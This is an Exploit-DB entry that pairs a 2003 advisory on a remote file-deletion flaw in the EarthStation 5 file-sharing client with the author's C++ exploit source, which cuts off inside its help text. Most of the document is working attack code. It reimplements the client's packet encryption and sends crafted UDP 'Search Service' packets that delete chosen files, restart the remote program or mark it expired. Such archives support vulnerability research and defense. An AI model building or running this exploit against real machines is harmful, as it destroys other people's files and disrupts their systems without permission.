Exploit-DB #23211
Description: EarthStation 5 - Search Service Remote File Deletion
Type: remote
Platform: windows
Date: 2003-10-03
Author: random nut

Exploit:
source: https://www.securityfocus.com/bid/8753/info

It has been reported that EarthStation 5 is prone to a file deletion vulnerability that may allow a remote attacker to delete arbitrary files on a vulnerable system. The problem is reported to exist in the "Search Service" packet handler employed by the software. An attacker may exploit this issue by sending packet 0Ch and sub-function 07h to a client running the vulnerable version of the software.

Successful exploitation of this issue may allow an attacker to delete files in the shared folder or sensitive files on the system in the context of the user running the vulnerable software. This issue could lead to a denial of service condition causing the system to crash or hang.

It has also been reported that the software is prone to other denial of service and buffer overflow vulnerabilities, however any details have not been specified.

EarthStation 5 build 1266 and 2180 have been reported to be vulnerable to this issue, however other versions may be affected as well.

********** BEGIN esv.cpp **********
/*
 * esv - "ExploitStation V" or "EarthStation Vulnerabilities"
 * (C)2003 random nut (randnut@yahoo.com)
 * All rights reserved.
 *
 * This code is released to the public because the people behind ES5
 * would claim I lie. Thus, I have no choice but to let everyone
 * download and run this application to prove that I'm right. Only try
 * this on computers you're allowed to delete files on, and don't try
 * this at home kids.
 */

#include <WinSock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>

typedef unsigned char   uint8;
typedef unsigned short  uint16;
typedef unsigned long   uint32;
typedef signed char             int8;
typedef short                   int16;
typedef long                    int32;

uint32 __GetChecksum(const char* buf, int buflen = 0,
                                         int uplim = 0x7FFFFFFF, int 
lowlim = 0)
{
        if (buflen == 0)
                buflen = (int)strlen(buf);

        int chksum = 0;
        for (int i = 0; i < buflen; i++, buf++)
                chksum ^= *buf << (8*(i&3));

        return (uint32)(lowlim + (chksum % (uplim - lowlim + 1)));
}

uint32 GetChecksum(const char* lpszString)
{
        return __GetChecksum(lpszString) ^ 0x7FFFFFFF;
}

void InitPacket(uint32* pkt, int size, uint32 packet)
{
        memset(pkt, 0, size);

        pkt[0x0000/4] = size;
        pkt[0x0004/4] = 2180;
        pkt[0x0008/4] = packet;
        pkt[0x0058/4] = 0x3EFA;
}

void InitPacket0C(uint32* pkt, uint32 sub_func,
                                  const char* lpszString = "", uint32 
CheckSum = 0)
{
        InitPacket(pkt, 0x288, 0x0C);
        pkt[0x007C/4] = sub_func;
        pkt[0x0080/4] = CheckSum;
        strncpy((char*)&pkt[0x0088/4], lpszString, 0x200-1);
}

// IMPORTANT:
//      If ArraySize isn't a multiple of sizeof(uint32) then the last
//      bytes starting from pArray[ArraySize] will be overwritten.
static void EsvInitEncryptArray(char* pArray, int size, uint32 k)
{
        uint32 d = 0x78B7;
        uint32* pBuf = (uint32*)pArray;
        const uint32 c = 0x6AC690C5;
        const uint32 cl = c & 0xFFFF;
        const uint32 ch = c >> 0x10;

        for (int i = 0; i < size; i += 4, pBuf++)
        {
                const uint32 old_d = d;
                d = d * c + k;
                k = (((old_d >> 0x10) * ch) + (((old_d >> 0x10) * cl) >> 
0x10))
                        + (((old_d & 0xFFFF) * ch) >> 0x10);
                if (((old_d & 0xFFFF) * cl) >= (uint32)(-(int32)k))
                        k++;
                *pBuf = d;
        }
}

static void EncryptBuffer(char* pBuf, int size, const char* pArray,
                                                  int ArraySize)
{
        uint8* pWorkBuf = (uint8*)pBuf;

        for (int i = 0; i < size; i++, pWorkBuf++)
                *pWorkBuf ^= (uint8)(pArray[i % ArraySize] ^ i);
}

static void EsvEncrypt(void* pBuf, int size)
{
        const ArraySize = 0x2F;
        char Array[(ArraySize + sizeof(uint32) - 1) & 
~(sizeof(uint32)-1)];

        EsvInitEncryptArray(Array, ArraySize, size);
        EncryptBuffer((char*)pBuf, size, Array, ArraySize);
}

int SendPacket(uint32* pkt, uint32 IpAddr, uint16 IpPort,
                           int MaxSendTries)
{
        uint32 dwSize = pkt[0x0000/4];
        EsvEncrypt(pkt, dwSize);

        SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if (s == INVALID_SOCKET)
        {
                printf("socket() failed\n");
                return 0;
        }

        for (int i = 0; i < MaxSendTries; i++)
        {
                sockaddr_in sa;
                memset(&sa, 0, sizeof(sa));
                sa.sin_family = AF_INET;
                sa.sin_port = htons(IpPort);
                sa.sin_addr.s_addr = htonl(IpAddr);

                int size = sendto(s, (char*)pkt, dwSize, 0,
                                                (sockaddr*)&sa, 
sizeof(sa));
                if (size == SOCKET_ERROR || size != dwSize)
                {
                        printf("sendto() failed\n");
                        return 0;
                }
        }

        return 1;
}

void help()
{
        printf(
"/R <retries>            - Max UDP sendto() retries\n"
"/r                      - Restart remote computer's ES5.exe\n"
"/e                      - Tell remote computer's ES5.exe it's expired\n"
"/d <filename>           - Delete file <filename>\n"
"/s <shared dir>         - Remote computer's shared dir"
                                                        "(case 
sensitive.)\n"
"                          Use quotes if path contains spaces.\n"
"/i <IP>                 - Remote computer's IP\n"
"/p <PORT>               - Remote computer's \"Search Service\" port\n"
"\n"
"The examples below assume remote ES5.exe